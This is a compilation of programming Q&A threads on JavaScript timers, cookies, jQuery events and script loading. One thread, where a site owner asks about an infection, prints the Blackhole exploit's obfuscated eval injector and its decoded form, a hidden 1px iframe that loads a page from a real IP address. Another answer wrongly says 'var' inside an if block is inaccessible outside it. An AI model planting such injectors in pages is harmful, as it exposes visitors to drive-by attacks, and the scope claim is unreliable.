Multiple Countdowns on One Page - javascript

I have a countdown woking nicely, however I'm at the stage where I need multiple instances of it on the same page. The script I'm using I found online and is just straight JavaScript but my JavaScript isn't very good so I'm not sure how to modify it to make each counter unique.
JavaScript:
function calcage(secs, num1, num2) {
s = ((Math.floor(secs/num1))%num2).toString();
if (LeadingZero && s.length < 2)
s = "0" + s;
return "<b>" + s + "</b>";
}
function CountBack(secs) {
if (secs < 0) {
document.getElementById("cntdwn").innerHTML = FinishMessage;
return;
}
DisplayStr = DisplayFormat.replace(/%%D%%/g, calcage(secs,86400,100000));
DisplayStr = DisplayStr.replace(/%%H%%/g, calcage(secs,3600,24));
DisplayStr = DisplayStr.replace(/%%M%%/g, calcage(secs,60,60));
DisplayStr = DisplayStr.replace(/%%S%%/g, calcage(secs,1,60));
document.getElementById("cntdwn").innerHTML = DisplayStr;
if (CountActive)
setTimeout("CountBack(" + (secs+CountStepper) + ")", SetTimeOutPeriod);
}
function putspan(backcolor, forecolor) {
document.write("<span id='cntdwn' style='background-color:" + backcolor +
"; color:" + forecolor + "'></span>");
}
if (typeof(BackColor)=="undefined")
BackColor = "white";
if (typeof(ForeColor)=="undefined")
ForeColor= "black";
if (typeof(TargetDate)=="undefined")
TargetDate = "12/31/2020 5:00 AM";
if (typeof(DisplayFormat)=="undefined")
DisplayFormat = "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds.";
if (typeof(CountActive)=="undefined")
CountActive = true;
if (typeof(FinishMessage)=="undefined")
FinishMessage = "";
if (typeof(CountStepper)!="number")
CountStepper = -1;
if (typeof(LeadingZero)=="undefined")
LeadingZero = true;
CountStepper = Math.ceil(CountStepper);
if (CountStepper == 0)
CountActive = false;
var SetTimeOutPeriod = (Math.abs(CountStepper)-1)*1000 + 990;
putspan(BackColor, ForeColor);
var dthen = new Date(TargetDate);
var dnow = new Date();
if(CountStepper>0)
ddiff = new Date(dnow-dthen);
else
ddiff = new Date(dthen-dnow);
gsecs = Math.floor(ddiff.valueOf()/1000);
CountBack(gsecs);
Usage:
<script language="JavaScript">
TargetDate = "$variable";
BackColor = "palegreen";
ForeColor = "navy";
CountActive = true;
CountStepper = -1;
LeadingZero = true;
DisplayFormat = "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds.";
FinishMessage = "It is finally here!";
</script>
Any help is appreciated.

The key is to bring everything into a local scope. Everything you have there is in the global scope so it only allows for one instance. You should wrap everything in a function and make an object instead. I also used setInterval instead of setTimeOut. Finally, you want to act on existing HTML containers not make html (you have it doing document.write which makes a dynamic container and writes that to the page).
jsFiddle Demo: http://jsfiddle.net/4dh6a5ky/2/
html:
<!-- container 1 for a timer -->
<div id="time1"></div>
<!-- container 2 for a timer -->
<div id="time2"></div>
<script src="/js/script.js"></script>
<script language="JavaScript">
// Create instance of your countdown with it's own settings
var counterOne = new CountDown({
// This is the id name for the container (<div id="time1"></div>)
send_to:'time1',
forecolor:'red',
targetdate:'09/22/2016 9:39 AM'
});
// Create instance #2 with it's own settings
var counterTwo = new CountDown({
// This is the id name for the container (<div id="time2"></div>)
send_to:'time2',
forecolor:'blue',
targetdate:'09/22/2016 9:40 AM'
});
// Apply the creation method
// Without .create(), nothing will happen since all the working
// script to apply the counter is in this method
counterOne.create();
counterTwo.create();
</script>
/js/script.js:
var CountDown = function(data)
{
// Assign this object
var thisObj = this;
// Make sure all settings are not left undefined
data.send_to = (typeof data.send_to === "undefined")? "time1" : data.send_to;
data.backcolor = (typeof data.backcolor === "undefined")? "white" : data.backcolor;
data.forecolor = (typeof data.forecolor === "undefined")? "black" : data.forecolor;
data.targetdate = (typeof data.targetdate === "undefined")? "12/31/2020 5:00 AM" : data.targetdate;
data.displayformat = (typeof data.displayformat === "undefined")? "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds." : data.displayformat;
data.countactive = (typeof data.countactive === "undefined")? true : data.countactive;
data.message = (typeof data.message === "undefined")? "Ended" : data.message;
data.countstepper = (typeof data.countstepper != "number")? -1 : data.countstepper;
data.leadingzero = (typeof data.leadingzero === "undefined")? true : data.leadingzero;
// Get DOM object
var domObj = document.getElementById(data.send_to);
this.calcage = function(secs, num1, num2)
{
var s = ((Math.floor(secs/num1))%num2).toString();
if(data.leadingzero && s.length < 2)
s = "0" + s;
return "<b>" + s + "</b>";
}
this.putSpan = function(backcolor, forecolor)
{
// Modify html instead of making html
domObj.style.backgroundColor = backcolor;
domObj.style.color = forecolor;
}
this.writeBoard = function(secs,countDownEngine)
{
if(secs <= 0) {
clearInterval(countDownEngine);
domObj.innerHTML = data.message;
return;
}
var DisplayStr = '';
DisplayStr = data.displayformat.replace(/%%D%%/g, thisObj.calcage(secs,86400,100000));
DisplayStr = DisplayStr.replace(/%%H%%/g, thisObj.calcage(secs,3600,24));
DisplayStr = DisplayStr.replace(/%%M%%/g, thisObj.calcage(secs,60,60));
DisplayStr = DisplayStr.replace(/%%S%%/g, thisObj.calcage(secs,1,60));
domObj.innerHTML = DisplayStr;
}
this.create = function()
{
data.countstepper = Math.ceil(data.countstepper);
if(data.countstepper == 0)
data.countactive = false;
var SetTimeOutPeriod = ((Math.abs(data.countstepper)-1)*1000) + 990;
thisObj.putSpan(data.backcolor, data.forecolor);
var dthen = new Date(data.targetdate);
var dnow = new Date();
var nowCalc = (data.countstepper > 0)? (dnow-dthen) : (dthen-dnow);
var ddiff = new Date(nowCalc);
var gsecs = Math.floor((ddiff.valueOf()/1000));
var countDownEngine = setInterval(function() {
gsecs = gsecs+data.countstepper;
thisObj.writeBoard(gsecs,countDownEngine);
}, 1000);
}
}

Related

How can I display a javascript debt counter, calculating at $.80/sec, from Jan. 1, 2016?

My client wants a debt counter that shows the amount of debt accumulated from Jan. 1, 2016, going up at .80 cents per second. Obviously, I can't have the thing refresh on page load and I looked everywhere for something that would do this. Long story short, I couldn't find what I was looking for, so I thought I could get creative with the code below, using a countdown counter in reverse and may be setting the numbers to equal the correct amount of debt.
Also, I'm not a math guy, so the answer might be looking me in the face.
Here's the code I'm using right now (from Robert Hashemian - hashemian.com):
In my index.html to display counter:
<script language="JavaScript">
TargetDate = "01/01/2016 12:00 AM";
BackColor = "";
ForeColor = "white";
CountActive = true;
CountStepper = 1;
LeadingZero = true;
DisplayFormat = "$%%D%%,%%H%%,%%M%%,%%S%%";
FinishMessage = "It is finally here!";
</script>
Javascript file:
function calcage(secs, num1, num2) {
s = ((Math.floor(secs/num1))%num2).toString();
if (LeadingZero && s.length < 2)
s = "0" + s;
return "<b>" + s + "</b>";
}
function CountBack(secs) {
if (secs < 0) {
document.getElementById("cntdwn").innerHTML = FinishMessage;
return;
}
DisplayStr = DisplayFormat.replace(/%%D%%/g, calcage(secs,86400,100000));
DisplayStr = DisplayStr.replace(/%%H%%/g, calcage(secs,3600,24));
DisplayStr = DisplayStr.replace(/%%M%%/g, calcage(secs,60,60));
DisplayStr = DisplayStr.replace(/%%S%%/g, calcage(secs,1,60));
document.getElementById("cntdwn").innerHTML = DisplayStr;
if (CountActive)
setTimeout("CountBack(" + (secs+CountStepper) + ")", SetTimeOutPeriod);
}
function putspan(backcolor, forecolor) {
document.write("<span id='cntdwn' style='background-color:" + backcolor +
"; color:" + forecolor + "'></span>");
}
if (typeof(BackColor)=="undefined")
BackColor = "white";
if (typeof(ForeColor)=="undefined")
ForeColor= "black";
if (typeof(TargetDate)=="undefined")
TargetDate = "12/31/2020 5:00 AM";
if (typeof(DisplayFormat)=="undefined")
DisplayFormat = "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds.";
if (typeof(CountActive)=="undefined")
CountActive = true;
if (typeof(FinishMessage)=="undefined")
FinishMessage = "";
if (typeof(CountStepper)!="number")
CountStepper = -1;
if (typeof(LeadingZero)=="undefined")
LeadingZero = true;
CountStepper = Math.ceil(CountStepper);
if (CountStepper == 0)
CountActive = false;
var SetTimeOutPeriod = (Math.abs(CountStepper)-1)*1000 + 990;
putspan(BackColor, ForeColor);
var dthen = new Date(TargetDate);
var dnow = new Date();
if(CountStepper>0)
ddiff = new Date(dnow-dthen);
else
ddiff = new Date(dthen-dnow);
gsecs = Math.floor(ddiff.valueOf()/1000);
CountBack(gsecs);
I'm not married to any of the code or ideas above if someone has a better one. Thanks to anyone willing to help!
This should get you started. First get the current balance then update it every second using setInterval. You can do all your rendering from within the setInterval function.
var date1 = new Date("01/01/2016 00:00:00");
var date2 = new Date();
var diff = (date2.getTime() - date1.getTime())/1000;
var debt = diff*.80
setInterval ( function() {
debt += .80;
console.log(debt.toFixed(2));
}, 1000);
or something like this
const date1 = new Date("01/01/2016 00:00:00");
setInterval ( function() {
var date2 = new Date();
var diff = (date2.getTime() - date1.getTime())/1000;
var debt = diff*.80
console.log(debt.toFixed(2));
}, 1000);

JQuery Change Event in function with for loop

<script type="text/javascript">
function total(){
var count = jQuery("[id^=frm_section_430]").length;
var Total = 0;
for(var i=0; i < count; i++){
var date = jQuery("#field_h1tvhv").val();
var splitdate = date.split('/');
var start = jQuery("#field_qgd9fa-" + i).val(); //eg "09:20 PM"
var end = jQuery("#field_701ehm-" + i).val(); //eg "10:00 PM"
//start time conversion to 24hr
var Starthours = Number(start.match(/^(\d+)/)[1]);
var Startminutes = Number(start.match(/:(\d+)/)[1]);
var StartAMPM = start.match(/\s(.*)$/)[1];
if (Startminutes == 15){
Startminutes = 25;
}else if(Startminutes == 30){
Startminutes = 50;
}else if(Startminutes == 45){
Startminutes = 75;
}
if (StartAMPM == "PM" && Starthours < 12) Starthours = Starthours + 12;
if (StartAMPM == "AM" && Starthours == 12) Starthours = Starthours - 12;
var sHoursStart = Starthours.toString();
var sMinutesStart = Startminutes.toString();
if (Starthours < 10) sHoursStart = sHoursStart ;
if (Startminutes > 10) sMinutesStart = sMinutesStart;
//End time conversion to 24hr
var Endhours = Number(end.match(/^(\d+)/)[1]);
var Endminutes = Number(end.match(/:(\d+)/)[1]);
var EndAMPM = end.match(/\s(.*)$/)[1];
if (Endminutes == 15){
Endminutes = 25;
}else if(Endminutes == 30){
Endminutes = 50;
}else if(Endminutes == 45){
Endminutes = 75;
}
if (EndAMPM == "PM" && Endhours < 12) Endhours = Endhours + 12;
if (EndAMPM == "AM" && Endhours == 12) Endhours = Endhours - 12;
var sHoursEnd = Endhours.toString();
var sMinutesEnd = Endminutes.toString();
if (Endhours < 10) sHoursEnd = sHoursEnd;
if (Endminutes > 10) sMinutesEnd = sMinutesEnd;
var hrStart = sHoursStart + "." + sMinutesStart;
var hrEnd = sHoursEnd + "." + sMinutesEnd;
if((hrEnd - hrStart) >= 0){
Total += hrEnd - hrStart;
jQuery("#field_deb1y1").val(Total.toFixed(2));
}else{
alert("Start value cannot be less than end value. Please try again!");
jQuery("#field_qgd9fa-" + i).val("06:00 AM");
jQuery("#field_701ehm-" + i).val("06:00 AM");
}
}
return Total;
}
jQuery(document).ready(function() {
jQuery("#field_qgd9fa-0").val("06:00 AM");
jQuery("#field_701ehm-0").val("06:00 AM");
//Script in original questioning
//jQuery("[id^=field_qgd9fa-], [id^=field_701ehm-]").change(function () {
//total();
//});
jQuery(document).on("change", "[id^=field_qgd9fa-], [id^=field_701ehm-]", function () {
total();
});
jQuery("#frm_checkbox_429-").hide();
jQuery("#field_fvb50h-").hide();
});
</script>
The change event only occurs on the first select box. I do notice that the function is totaling when I change the next select boxes, but only if I go back and play with the first select box. What am I doing wrong?

Pop up once every 30 days

I am totally novice for JS and cookies. I got this code online and tried to change it for 30 days (it was set to 365) but it's probably resetting the cookie for every page and the pop up appears if I go to other page or even return back to the original page. Only things I changed in the code was expire days to 30 and load delay of 30 secs.
It seems either it's resetting the cookie every time I move to other page or some other problem which I don't understand yet :). I was wondering if there is some more efficient way to have it rather putting the code in every html article page. Something like setting up a cookie in headers or something and recalling using body onload.
Here is the code:
<SCRIPT language=JavaScript>
<!--
var expDays = 30; // number of days the cookie should last
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie (name, value,expires) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function checkCount() {
var count = GetCookie('poponce');
if (count == null) {
count++;
SetCookie('poponce', count, exp);
// Action to take
dothis()
}
}
setTimeout(function dothis(){
var windowprops = "left=300,top=240,width=600,height=400,location=no,toolbar=no,menubar=no,scrollbars=no";
window.open("/subscribepopup.html", "", windowprops); // Use to load a page
}, 30000);
// -->
</SCRIPT>
<body OnLoad="checkCount()">

Blackhole Exploit / Javascript

my site got infected by the well known blackhole exploit.
After some days and some help scripts i guess i fixed it now.
I'm wondering what this exploit does?
asd=function(){d.body++};
a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,172,151,147,154,174,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,172,151,147,154,174,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,66,64,74,62,74,67,62,66,71,62,66,72,63,151,167,150,62,164,154,164,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,172,151,147,154,174,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,172,151,147,154,174,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](","));
ss=eval("S"+"tr"+"ing");
d=document;
for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i],8);}try{asd()}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));
Does anybody has experience with this one?
Cheers!
It's an array of character codes, which is converted to the following js code by ss.fromCharCode.apply(ss,a):
function zzzfff() {
var vechx = document.createElement('iframe');
vechx.src = 'http://208.83.25.26/esd.php';
vechx.style.position = 'absolute';
vechx.style.border = '0';
vechx.style.height = '1px';
vechx.style.width = '1px';
vechx.style.left = '1px';
vechx.style.top = '1px';
if (!document.getElementById('vechx')) {
document.write('<div id=\'vechx\'></div>');
document.getElementById('vechx').appendChild(vechx);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}
Then that code is run with eval. As far as I can see, it loads http://208.83.25.26/esd.php in an iframe, and sets a cookie.
The procedure with these eval ones is almost always the same. Prettify the code, find and replace the critical eval with a console.log, and just run it:
function zzzfff() {
var vechx = document.createElement('iframe');
vechx.src = 'http://208.83.25.26/esd.php';
vechx.style.position = 'absolute';
vechx.style.border = '0';
vechx.style.height = '1px';
vechx.style.width = '1px';
vechx.style.left = '1px';
vechx.style.top = '1px';
if (!document.getElementById('vechx')) {
document.write('
');
document.getElementById('vechx').appendChild(vechx);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}
Instead of executing the code, it'll print out the code instead. This looks like some sort of tracking code installed on some person's exploited website.

Why doesn't my external JavaScript file work when I load my html page?

I separated my html and JavaScript code. I placed my JavaScript code into a separate file and use 'script' tags to reference it in my html file. I have two functions within my JavaScript code one is used to create an autofill which means if I start typing text within a text box the function gives me a possible name that I may be wanting to write underneath the text box and the other creates a clock that gives the current time. Here are my JavaScript and html files respectively. Can you tell me what the problem is?
function Complete(obj, evt) {
var names = new Array("albert","alessandro","chris");
names.sort();
if ((!obj) || (!evt) || (names.length == 0)) {
return;
}
if (obj.value.length == 0) {
return;
}
var elm = (obj.setSelectionRange) ? evt.which : evt.keyCode;
if ((elm < 32) || (elm >= 33 && elm <= 46) || (elm >= 112 && elm <= 123)) {
return;
}
var txt = obj.value.replace(/;/gi, ",");
elm = txt.split(",");
txt = elm.pop();
txt = txt.replace(/^\s*/, "");
if (txt.length == 0) {
return;
}
if (obj.createTextRange) {
var rng = document.selection.createRange();
if (rng.parentElement() == obj) {
elm = rng.text;
var ini = obj.value.lastIndexOf(elm);
}
} else if (obj.setSelectionRange) {
var ini = obj.selectionStart;
}
for (var i = 0; i < names.length; i++) {
elm = names[i].toString();
if (elm.toLowerCase().indexOf(txt.toLowerCase()) == 0) {
obj.value += elm.substring(txt.length, elm.length);
break;
}
}
if (obj.createTextRange) {
rng = obj.createTextRange();
rng.moveStart("character", ini);
rng.moveEnd("character", obj.value.length);
rng.select();
} else if (obj.setSelectionRange) {
obj.setSelectionRange(ini, obj.value.length);
}
}
function tick() {
var hours, minutes, seconds, ap;
var intHours, intMinutes, intSeconds;
var today;
today = new Date();
intHours = today.getHours();
intMinutes = today.getMinutes();
intSeconds = today.getSeconds();
switch(intHours){
case 0:
intHours = 12;
hours = intHours+":";
ap = "A.M.";
break;
case 12:
hours = intHours+":";
ap = "P.M.";
break;
case 24:
intHours = 12;
hours = intHours + ":";
ap = "A.M.";
break;
default:
if (intHours > 12) {
intHours = intHours - 12;
hours = intHours + ":";
ap = "P.M.";
break;
}
if(intHours < 12) {
hours = intHours + ":";
ap = "A.M.";
}
}
if (intMinutes < 10) {
minutes = "0"+intMinutes+":";
} else {
minutes = intMinutes+":";
}
if (intSeconds < 10) {
seconds = "0"+intSeconds+" ";
} else {
seconds = intSeconds+" ";
}
timeString = hours+minutes+seconds+ap;
Clock.innerHTML = timeString;
window.setTimeout("tick();", 100);
}
window.onload = tick;
<HTML>
<HEAD>
<H1 STYLE="text-align:center;" STYLE="font-family:verdana;">FDM Markets</H1>
<H2 STYLE="text-align:center;">Trading Platofrm</H2></br>
<STYLE type="text/css">
#p1 span {
width: 65px;
display: block;
float: left;
}
</STYLE>
<BODY>
<SCRIPT type="text/javascript" src="jscodeloginpage.js"></SCRIPT>
<p1>Login</p1></br>
</br>
<FORM name="anyForm">
Username: <input type="text" name="anyName" size="15" onKeyUp="Complete(this, event)"></br>
Password: <input type="text" size="15" name="password_box">
</FORM>
<div id=Clock style=font-size: 12"> </div>
</BODY>
</HTML>
Okay, I put your code into a jsbin. Most issues were found with help of it's code debugger / error console.
You had a few variables that were out of scope, meaning:
if(x){
var a = 1;
}
if(y){
doSomethingWith(a);
/*
* JavaScript can't access `a` here, since it was declared in the scope of the
* previous `if`. That instance of `a` only exists within that first `if`.
*/
}
You had a misplaced break in your switch/case's default section, and some other minor issues.
See the jsbin I linked to for a working example. I also made some modifications to your HTML. This line:
<div id=Clock style=font-size: 12"> </div>
Was missing a few "'s:
<div id="Clock" style="font-size: 12"> </div>
Also, </br> isn't a valid tag, you were probably looking for <br />
Here's your edited JS:
function Complete(obj, evt) {
var names = new Array("albert","alessandro","chris");
names.sort();
var elm = (obj.setSelectionRange) ? evt.which : evt.keyCode;
if (!obj ||
!evt ||
names.length === 0 ||
obj.value.length === 0 ||
elm < 32 ||
(elm >= 33 && elm <= 46) ||
(elm >= 112 && elm <= 123)) {
return;
}
var txt = obj.value.replace(/;/gi, ",");
elm = txt.split(",");
txt = elm.pop();
txt = txt.replace(/^\s*/, "");
if (txt.length === 0) {
return;
}
var ini, rng;
if (obj.createTextRange) {
rng = document.selection.createRange();
if (rng.parentElement() == obj) {
elm = rng.text;
ini = obj.value.lastIndexOf(elm);
}
} else if (obj.setSelectionRange) {
ini = obj.selectionStart;
}
for (var i = 0; i < names.length; i++) {
elm = names[i].toString();
if (elm.toLowerCase().indexOf(txt.toLowerCase()) === 0) {
obj.value += elm.substring(txt.length, elm.length);
break;
}
}
if (obj.createTextRange) {
rng = obj.createTextRange();
rng.moveStart("character", ini);
rng.moveEnd("character", obj.value.length);
rng.select();
} else if (obj.setSelectionRange) {
obj.setSelectionRange(ini, obj.value.length);
}
}
function tick() {
var hours, minutes, seconds, ap;
var intHours, intMinutes, intSeconds;
var today;
today = new Date();
intHours = today.getHours();
intMinutes = today.getMinutes();
intSeconds = today.getSeconds();
switch(intHours){
case 0:
intHours = 12;
hours = intHours+":";
ap = "A.M.";
break;
case 12:
hours = intHours+":";
ap = "P.M.";
break;
case 24:
intHours = 12;
hours = intHours + ":";
ap = "A.M.";
break;
default:
if (intHours > 12) {
intHours = intHours - 12;
hours = intHours + ":";
ap = "P.M.";
}
if(intHours < 12) {
hours = intHours + ":";
ap = "A.M.";
}
break;
}
if (intMinutes < 10) {
minutes = "0"+intMinutes+":";
} else {
minutes = intMinutes+":";
}
if (intSeconds < 10) {
seconds = "0"+intSeconds+" ";
} else {
seconds = intSeconds+" ";
}
timeString = hours+minutes+seconds+ap;
Clock.innerHTML = timeString;
window.setTimeout(tick, 100);
}
window.onload = tick;

Categories

Resources